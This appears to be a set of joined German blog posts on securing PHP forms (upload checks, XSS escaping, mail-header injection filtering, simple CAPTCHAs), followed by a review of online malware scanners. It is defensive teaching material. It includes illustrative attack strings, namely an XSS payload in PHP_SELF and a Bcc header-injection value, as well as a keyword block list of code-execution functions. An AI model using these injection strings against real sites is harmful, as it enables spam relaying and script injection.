Da hier keine Überprüfung stattfindet, können beliebige Dateien hochgeladen werden. Um das zu verhindern, müssen wir erstmal wissen, welche Dateien überhaupt hochgeladen werden sollen. Bilder? Archive? Textdateien? Außerdem stellt sich die Frage, was mit den hochgeladenen Dateien angestellt werden soll. Sind sie im Web erreichbar oder werden sie irgendwo außerhalb des Document Roots auf dem Server gespeichert? Oder werden sie nur temporär gespeichert und als Dateianhang per E-Mail verschickt?

In diesem Beispiel sollen auschließlich Bilder hochgeladen werden, die anschließend auf einer Webseite dargestellt werden.

Maximale Dateigröße überprüfen / bestimmen

Als erstes überprüfen wir die erlaubte Dateigröße. Dazu schauen wir uns den Wert der Direktive upload_max_filesize in der Konfigurationsdatei php.ini an. Wer keinen Zugriff auf diese Datei hat, kann den Wert auch einfach mit PHP ausgeben lassen:

<?php
  echo ini_get('upload_max_filesize')
?>

Standardmäßig sind 2 MB erlaubt (upload_max_filesize = 2M). 2 MB sind für Bilder denke ich mal okay. Ist dort ein höherer Wert angegeben, sollte man ihn ändern und wer keinen Zugriff auf die php.ini hat, sollte das ganze per .htaccess realisieren:

php_value upload_max_filesize 2M

Dateiendung überprüfen

Als nächstes überprüfen wir die Dateiendung. Da wir wissen, welche Dateiendungen Bilder haben, können wir eine White-List mit erlaubten Dateiendungen erstellen.

<?php
  //...
  $erlaubt = array('.jpg', '.jpeg', '.gif', '.png');
  $dateiendung = strtolower(strrchr($_FILES['datei']['name'], '.'));
  if(!in_array($dateiendung, $erlaubt))
    die('Ungueltiges Dateiformat! Erlaubte Dateiformate: JPG, GIF, PNG');
?>

Dateiinformationen überprüfen

Nun überprüfen wir noch, ob es sich um ein valides Bild handelt. Dazu eignet sich die Funktion getimagesize() - auch wenn diese nicht zu 100% zuverlässig ist.

<?php
  //...
  if(!getimagesize($_FILES['datei']['tmp_name']))
    die('Ungueltiges Dateiformat!');
?>

Außerdem überprüfen wir den Inhalt der Datei, um evtl. Code Injection zu entdecken. Dies dient nur als zusätzlicher Schutz, um Angreifern die Ausnutzung von anderen Sicherheitslücken (z.B. LFI) zu erschweren.

<?php
  //...
  $file = fopen($_FILES['datei']['tmp_name'], 'rb');
  $contents = fread($file, filesize($_FILES['datei']['tmp_name']));
  fclose($file);

  $check = array('<script', 'javascript:', '<?php', '$_GET', '$_POST', '$_COOKIE', '$_SERVER', '$HTTP', 'system(', 'exec(', 'passthru', 'eval(', '<input', '<frame', '<iframe', 'http://');
  foreach($check as $chk)
    if(strpos($contents, strtolower($chk)) !== false)
      die('Code Injection erkannt!');
?>

Eindeutige Dateinamen vergeben

Nachdem wir alles validiert haben, können wir nun die move_uploaded_file() Funktion verwenden, um die temporäre Datei in unser gewünschtes Verzeichnis zu verschieben.

Um zu verhindern, dass vorhandene Dateien mit dem selben Dateinamen überschrieben werden, geben wir der hochgeladenen Datei einen generierten und eindeutigen Dateinamen. Das können wir mit uniqid() erledigen. Und um auf nummer sicher zu gehen, verwenden wir noch mt_rand() und verschlüsseln das ganze mit md5().

Für die Dateiendung verwenden wir die zuvor definierte Variable $dateiendung.

<?php
  //...
  $dateiname = md5(uniqid(mt_rand(), true)) . $dateiendung;
  if(move_uploaded_file($_FILES['datei']['tmp_name'], 'uploads/' . $dateiname))
    echo 'Die Datei wurde erfolgreich hochgeladen.';
  else
    die('Fehler beim Hochladen der Datei!');
?>

Wer für den Upload den selben Dateinamen verwenden will und in der Funktion move_uploaded_file() die Variable $_FILES['datei']['name'] nutzt, sollte unbedingt (wie im ersten Code-Beispiel zu sehen ist) die Funktion basename() verwenden, da ansonsten eine kritische Sicherheitslücke entsteht. Angreifer könnten wichtige, vorhandene Dateien in anderen Verzeichnissen überschreiben.

Schutz vor Spam und DoS - CAPTCHAs

CAPTCHAs werden zum Schutz vor Spambots und Denial of Service (DoS) Angriffen verwendet. Wie man sowas in PHP realisiert werde ich in einem eigenen Artikel genauer erklären. An dieser Stelle möchte ich nur einmal auf Google's reCAPTCHA hinweisen.

Rechenaufgaben und Fragen als Alternative

Oft reicht es auch aus, normale Rechenaufgaben oder einfache Fragen zu verwenden.

Das könnte z.B. so aussehen:

<?php
  session_start();

  function newSession()
  {
    $_SESSION['zahl1'] = mt_rand(1, 100);
    $_SESSION['zahl2'] = mt_rand(1, 100);
    $_SESSION['ergebnis'] = $_SESSION['zahl1'] + $_SESSION['zahl2'];
  }

  if(!isset($_SESSION['ergebnis']))
    newSession();

  //...
  if(isset($_POST['code']))
  {
    if((int)$_POST['code'] != $_SESSION['ergebnis'] ||
       strpos($_POST['code'], '.') !== false ||
       !is_numeric($_POST['code']) || is_array($_POST['code']))
    {
      echo 'Falsches Ergebnis!';
      unset($_SESSION['zahl1']);
      unset($_SESSION['zahl2']);
      unset($_SESSION['ergebnis']);
      newSession();
    }

    else
    {
      echo 'Richtig!';
      session_destroy();
      // Daten verarbeiten
      exit;
    }
  }

  $rechenaufgabe = $_SESSION['zahl1'] . ' + ' . $_SESSION['zahl2'] . ' = ';
?>

<form action="" method="post">
  <?php echo $rechenaufgabe; ?><input type="text" name="code" maxlength="3" />
  <input type="submit" name="form" value="Daten absenden" />
</form>

Natürlich wär es sinnvoll hier noch eine IP-Sperre nach x gescheiterten Versuchen einzubauen, da Spambots mit normalen Rechenaufgaben keine Probleme haben sollten. Allerdings kann man die Rechenaufgabe auch in Unicode oder mit JS ausgeben

<?php
  function unicode($ascii)
  {
    $unicode = '';
    for($i = 0; $i < strlen($ascii); $i++)
      $unicode .= '&#' . ord(substr($ascii, $i, 1)) . ';';

    return $unicode;
  }

  //...

  $rechenaufgabe = $_SESSION['zahl1'] . ' + ' . $_SESSION['zahl2'] . ' = ';
  $rechenaufgabe = unicode($rechenaufgabe);

  //...
?>

Aus 55 + 52 =  wird dann folgendes.

55 + 52 = 

Auch wenn ein richtiges CAPTCHA um einiges sicherer ist, reichen solche einfachen Alternativen meiner Erfahrung nach meistens aus.

Fertiges Kontaktformular - einfach und sicher

Wie versprochen habe ich ein fertiges Script geschrieben, das ihr euch hier downloaden könnt. Das ganze sieht ungefähr so aus:

Es ist nur eine Datei und läuft ohne Datenbank. Das Formular kann bequem mit einer PHP Include-Funktion in einer Webseite eingebunden werden.

Das einzige, das ihr an dem Script ändern müsst, ist eure E-Mail Adresse und wenn ihr wollt den Betreff der E-Mail.

<?php
  define('EMPFAENGER', 'empfaenger@example.com'); // Deine E-Mail Adresse
  define('BETREFF', 'Neue Nachricht - Kontaktformular'); // Betreff der E-Mail
?>

Ich erstelle bald eine Download Seite, da gibt's dann nochmal ne ausführliche Beschreibung. Ansonsten einfach hier per Kommentar melden

Auch interessant:

• Sichere Formulare – Teil 1
• 10 Mythen zum Thema Web Security
• Content-Spoofing – Teil 2 – Phishing
• Content-Spoofing – Teil 1 – JavaScript
• Content-Spoofing – Teil 3 – HTTP Redirects

Auf sehr vielen (dynamischen) Websites werden Formulare verwendet. Häufig sind sie da, um Benutzereingaben an eine Webanwendung zu übermitteln.

Da viele Sicherheitslücken in Webanwendungen durch ungefilterte bzw. nicht-validierte Benutzereingaben entstehen, sind besonders Formulare ein beliebtes Ziel von Angreifern.

In diesem Artikel wird gezeigt, wie Formulardaten sicher mit PHP verarbeitet werden, um Sicherheitslücken (und Spam) zu vermeiden (Teil 1/2).

Grundlegende PHP-Kenntnisse sollten vorhanden sein bzw. sind von Vorteil.

Basis-Formular

Folgendes Basis-Formular dient in diesem Artikel als Beispiel.

<form action="" method="post" enctype="multipart/form-data">
  <label for="name">Name:</label>
  <input type="text" name="name" id="name" /><br /><br />

  <label for="email">E-Mail:</label>
  <input type="text" name="email" id="email" /><br /><br />

  <label for="url">URL:</label>
  <input type="text" name="url" id="url" /><br /><br />

  <label for="text">Text:</label>
  <textarea cols="50" rows="10" name="text" id="text"></textarea><br /><br />

  <label for="datei">Datei:</label>
  <input type="file" name="datei" id="datei" /><br /><br />

  <input type="submit" name="form" value="Daten absenden" />
</form>

Im Browser sieht das ganze (formatiert) so aus:

Schutz vor Cross-Site Scripting (XSS)

Wenn Benutzereingaben wieder ausgegeben werden, müssen sie vorher ausreichend gefiltert werden, um XSS zu verhindern.

Dazu eignen sich die Funktionen htmlspecialchars() und htmlentities(). Diese Funktionen wandeln bestimmte Sonderzeichen in HTML-Codes um.

<?php
  if(isset($_POST['name']) && !empty($_POST['name']))
    echo htmlentities($_POST['name']);
?>

Hierbei muss man beachten, dass diese Funktionen standardmäßig keine einfachen Anführungszeichen (Single Quotes) umwandeln.

Damit auch Single Quotes umgewandelt werden, muss der Modus ENT_QUOTES als Parameter an die Funktionen übergeben werden.

<?php
  // ...
  $name = htmlentities($_POST['name'], ENT_QUOTES);
  echo "<input type='text' name='name' value='$name' />";
  // ...
?>

Oft kommt es auch vor, dass im action-Attribut des Formulars die Variable $_SERVER['PHP_SELF'] verwendet wird. Diese Variable enthält den Dateinamen des aktuell ausgeführten Scripts, relativ zum Document Root.

Auch diese Variable ist anfällig für XSS. Ein Angreifer könnte z.B. beliebigen JavaScript Code direkt in der URL übergeben.

vuln.php/"><script>alert('XSS');</script>

Die Variable $_SERVER['PHP_SELF'] muss also auch vor der Ausgabe gefiltert werden.

<form action="<?php echo htmlentities($_SERVER['PHP_SELF']); ?>" method="post">

Allerdings gibt es hierbei ein weiteres Problem bei alten PHP Versionen. Durch anhängen von Slashes könnte dem action-Attribut eine externe URL zugewiesen werden. Angreifer könnten somit die eingegebenen Daten empfangen und auslesen.

Eine sichere Alternative wär hier sinnvoller. In den meisten Fällen reicht ein leerer String oder für die eigene Verwendung eine statische Angabe.

Soweit zum Schutz vor XSS auf der Webseite. Doch wie sieht es mit dem E-Mail Client aus? Die meisten E-Mail Clients unterstützen HTML-Mails. Wenn Benutzereingaben in E-Mails wieder ausgegeben werden, müssen diese auch ausreichend gefiltert werden. Allerdings nur dann, wenn es sich auch wirklich um HTML-Mails handelt.

<?php
  // ...
  $header = 'Mime-Version: 1.0' . "\r\n";
  $header .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
  $nachricht = htmlentities($_POST['text']);
  mail('empfaenger@example.com', 'Betreff', $nachricht, $header);
?>

Schutz vor Full Path Disclosure

Full Path Disclosure gehört zwar zu den "harmlosen" Sicherheitslücken, man sollte sie aber nicht unterschätzen. In dem Artikel Sicherheitslücken kombinieren habe ich bereits gezeigt, wie aus harmlosen Sicherheitslücken kritische werden können.

Durch Full Path Disclosure (oder allgemein Information Disclosure) können Angreifer den vollständigen Pfad auslesen. Manchmal müssen Angreifer sogar den Pfad kennen, damit sie andere Sicherheitslücken ausnutzen können.

In den obigen Beispielen zum Schutz vor XSS haben wir die Funktion htmlentities() verwendet. Diese Funktion erwartet als Parameter einen String. Ein Angreifer kann aber auch ein Array übergeben, was zur Fehlermeldung und somit zu Full Path Disclosure führt (solange Fehlermeldungen ausgegeben werden).

Um die Ausgabe von Fehlermeldungen zu unterbinden, gibt es mehrere Möglichkeiten.

Wer Zugriff auf die PHP-Konfigurationsdatei (php.ini) hat, kann die Direktive display_errors auf Off setzen. Dadurch werden Fehlermeldungen global unterbunden.

Ansonsten kann man die Funktion error_reporting() nutzen und die Ausgabe von Fehlermeldungen zur Laufzeit unterbinden. Dazu übergibt man der Funktion den Wert 0.

<?php
  error_reporting(0);
  // ...
?>

Zusätzlich könnte man in der if-Abfrage überprüfen, ob es sich um ein Array handelt oder nicht. Dazu eignet sich die Funktion is_array().

<?php
  if(isset($_POST['name']) && !empty($_POST['name']) && !is_array($_POST['name']))
    echo htmlentities($_POST['name']);
?>

Tipp: Während der Entwicklung / während des Debuggens sollte man immer Fehler- und Warnmeldungen ausgeben lassen. So kann man z.B. error_reporting(E_ALL) verwenden und später in error_reporting(0) umändern.

Weitere Möglichkeiten

Eine weitere Möglichkeit bietet der @-Operator. Anstatt htmlentities() verwendet man einfach @htmlentities(). Das gleiche gilt für andere Funktionen.

Ansonsten kann man auch das Type Casting nutzen und der Variable einen expliziten Datentyp (in diesem Fall string) zuweisen.

Schutz vor Mail-Header Injection

E-Mails bestehen genau wie Webseiten aus einem Header und einem Body. Im Header werden bestimmte Daten, wie z.B. die Absender-Adresse und das Datum übertragen.

Bei einer Mail-Header Injection manipulieren Angreifer (bzw. Spamer oder Spambots) den Mail-Header. Meistens wird dies ausgenutzt, um Spam-Mails zu versenden. Es ist allerdings noch weitaus mehr möglich.

In PHP gibt es für das Versenden von E-Mails die Funktion mail(). Werden ungefilterte Benutzereingaben an diese Funktion übergeben, ist Mail-Header Injection möglich, da die mail() Funktion die übergebenen Parameter ungeprüft an den Mailserver schickt.

<?php
  // ...
  $nachricht = htmlentities($_POST['text']);
  $email = htmlentities($_POST['email']);
  mail('empfaenger@example.com', 'Betreff', $nachricht, 'From: ' . $email);
?>

Da Header-Einträge in E-Mails mit einem Zeilenumbruch voneinander getrennt werden, injizieren Angreifer einen Zeilenumbruch (Hexadezimal: %0A), gefolgt von beliebigen Header-Einträgen.

Mit dem CC-Feld bzw. BCC-Feld kann eine Kopie der E-Mail an eine oder mehrere E-Mail Adressen gesendet werden. Diese Felder nutzen Spamer, um Spam-Mails zu versenden (wie am folgenden Beispiel zu sehen ist).

Ein Angreifer / Spamer könnte folgenden String im Formular als E-Mail angeben.

absender@example.com%0ABcc:empfaenger1@xy.tld, empfaenger2@xy.tld

Hier wird eine Kopie der E-Mail an empfaenger1@xy.tld und empfaenger2@xy.tld gesendet. Das BCC-Feld ermöglicht eine Blindkopie; die Empfänger sehen nicht, dass die E-Mail auch an andere Adressen gesendet wurde.

Bei Wikipedia findet man eine Liste von möglichen Header-Einträgen.

Wer genau hinschaut wird feststellen, dass der String kein Zeichen enthält, welches die Funktion htmlentities() umwandeln würde. htmlentities() bietet gegen Mail-Header Injection keinen Schutz! Wir müssen eigene Funktionen zur Filterung / Validierung schreiben.

Hierbei sollte man beachten, dass manche Systeme auch andere Zeichen als Zeilenumbruch interpretieren könnten (z.B. Carriage Return - %0D).

Wichtig: Für einen sicheren Schutz gegen Mail-Header Injection muss jeder Parameter der mail() Funktion validiert / gefiltert werden, der Benutzereingaben enthält.

<?php
  setlocale(LC_ALL, 'de_DE');

  function checkMailParam($val, $type)
  {
    $a  = '/(%0A|\r|%0D|\n|%00|\0|%09|\t)/ims';
    $b  = '/(cc:|bcc:|from:|to:|reply-to:|subject:|sender:'.
          '|content-type:|content-transfer-encoding:|mime-version:)/ims';
    $blacklist = ($type != 'msg') ? $a : $b;   

    $val = preg_replace($blacklist, '', $val); 

    if($type == 'mail')
    {
      if(preg_match('/^[\w.+-]{1,64}\@[\w.-]{1,255}\.[a-z]{2,6}$/', $val))
        return true;
    }

    else if($type == 'subject')
    {
      if(preg_match('/^[[:print:]]{3,}$/', $val))
        return true;
    }

    else if($type == 'msg')
    {
      if(preg_match('/^[[:print:][:space:]]{5,}$/', $val))
        return true;
    }

    else
      return false;
  }

  if(checkMailParam($_POST['text'], 'msg') && checkMailParam($_POST['email'], 'mail'))
  {
    $nachricht = htmlentities($_POST['text']);
    $email = htmlentities($_POST['email']);
    mail('empfaenger@example.com', 'Betreff', $nachricht, 'From: ' . $email);
  }
?>

Als erstes nutzen wir die Funktion setlocale(), damit Umlaute, etc. korrekt verarbeitet werden. Dann folgt unsere eigene Funktion checkMailParam(), in der wir die möglichen Benutzereingaben für die mail() Funktion validieren und filtern. Zuerst werden alle Zeichen, die bei einer Mail-Header Injection typisch sind, durch einen leeren String ersetzt. Anschließend werden die Daten mit Regulären Ausdrücken überprüft - z.B. ob es sich um eine gültige E-Mail Adresse handelt. Ist dies der Fall, wird true zurück gegeben.

Diese Funktion nutzen wir anschließend in einer if-Abfrage. Erst wenn die Daten validiert und gefiltert wurden, wird die mail() Funktion aufgerufen.

Ausblick auf Teil 2

Das war es soweit für den ersten Teil.

Im zweiten Teil geht es um File Uploads und CAPTCHAs. Zum Schluß werd ich dann ein fertiges Formular-Script bereitstellen (evtl. später auch als WP-PlugIn ).

Auch interessant:

• Sichere Formulare – Teil 2
• 10 Mythen zum Thema Web Security
• Content-Spoofing – Teil 2 – Phishing
• Content-Spoofing – Teil 1 – JavaScript
• Content-Spoofing – Teil 3 – HTTP Redirects

Allerdings verlassen sich viele zu sehr auf diese eine Software. Zum einen, weil die Virensignaturen ständig aktualisiert werden und zum anderen, weil sie bisher oder seit der Installation der Antiviren-Software keine Malware auf ihrem PC entdeckt haben.

Heruntergeladene Dateien werden vielleicht einmal kurz gescannt – wenn das Antiviren-Programm keine Meldung ausspruckt, wird die Datei einfach ausgeführt. Dabei lassen sich die meisten Scan-Engines sehr leicht austricksen.

Bessere Chancen hat man, wenn man zusätzlich Online Malware Scanner mit Multi-Engines nutzt. So kann man verdächtige Dateien mit verschiedener Antiviren-Software und aktualisierten Virensignaturen in einem Rutsch kostenlos scannen lassen.

Solche Online-Dienste haben ihre Vorteile, aber auch einige Beschränkungen.

Online-Dienste im Überblick

VirusTotal

Einer der bekanntesten Multi-Engine Malware Scanner Dienste ist wohl VirusTotal. Zurzeit kann man dort einzelne Dateien mit 41 Antiviren-Engines analysieren lassen.

Vorteile:

• Kostenlos
• Sehr viele Antiviren-Engines
• Automatische Updates der Virensignaturen (echtzeit)
• Detailierte Ergebnisse
• Grafische Statistik der Serverauslastung
• Scannen per E-Mail möglich
• SSL Unterstützung

Nachteile:

• 20 MB Limit

VirScan

Ein weiterer Dienst ist VirScan. Dort stehen zurzeit 38 Antiviren-Engines zur Verfügung.

Vorteile:

• Kostenlos
• Sehr viele Antiviren-Engines
• ZIP und RAR Archive mit bis zu 20 Dateien werden unterstützt
• Automatische Updates der Virensignaturen
• Detailierte Ergebnisse
• Grafische Statistik der Serverauslastung

Nachteile:

• 20 MB Limit
• Kein Scannen per E-Mail möglich
• Keine SSL Unterstützung

NoVirusThanks

Eine gute Alternative bietet NoVirusThanks.
Dort stehen zurzeit 24 Antiviren-Engines zur Verfügung.

Vorteile:

• Kostenlos
• Viele Antiviren-Engines
• Automatische Updates der Virensignaturen (alle 6 Stunden)
• Detailierte Ergebnisse
• Grafische Statistik der Serverauslastung
• Option, um das Senden der Datei an die Hersteller zu unterbinden
• Es können Web-Adressen angegeben werden
• Binder und SFX Detector (siehe FAQ)

Nachteile:

• 20 MB Limit
• Kein Scannen per E-Mail möglich
• Keine SSL Unterstützung

Jottis Malwarescanner

Mit Jottis Malwarescanner lassen sich Dateien mit 20 Antiviren-Engines analysieren.

Vorteile:

• Kostenlos
• Gute Anzahl an Antiviren-Engines
• Automatische Updates der Virensignaturen
• Grafische Statistik der Serverauslastung

Nachteile:

• 15 MB Limit
• Keine detailierten Ergebnisse
• Kein Scannen per E-Mail möglich
• Keine SSL Unterstützung

VirusChief

Zum Schluss noch ein etwas kleiner, aber relativ bekannter Dienst.
Bei VirusChief werden zurzeit 5 Antiviren-Engines verwendet.

Vorteile:

• Kostenlos
• Automatische Updates der Virensignaturen

Nachteile:

• Sehr geringe Anzahl an Antiviren-Engines
• Keine detailierten Ergebnisse
• Kein Scannen per E-Mail möglich
• Keine SSL Unterstützung

Fazit

Solche Online-Dienste sind sehr nützlich, wenn man kleinere Dateien analysieren will. Größere Dateien sind dagegen nicht geeignet – da sollte man besser zu einer Alternative greifen. Es gibt sicherlich noch mehr solcher Online-Dienste, aber zu den Top-Diensten gehören auf jeden Fall VirusTotal, VirScan und NoVirusThanks.

Trotzallem sollte man sich aber niemals auf die Ergebnisse verlassen. Antiviren-Programme geben häufig Falschmeldungen aus oder erkennen die Malware einfach nicht. Die Multi-Engine Malware Scanner bieten lediglich einen zusätzlichen Schutz.

Auch interessant:

• API Crypting: Antiviren-Programme austricksen
• Content-Spoofing – Teil 2 – Phishing
• 16 nützliche Firefox-Addons für Webworker
• Über Web-Tuts.de
• 25+ aktuelle Cheat Sheets für Webworker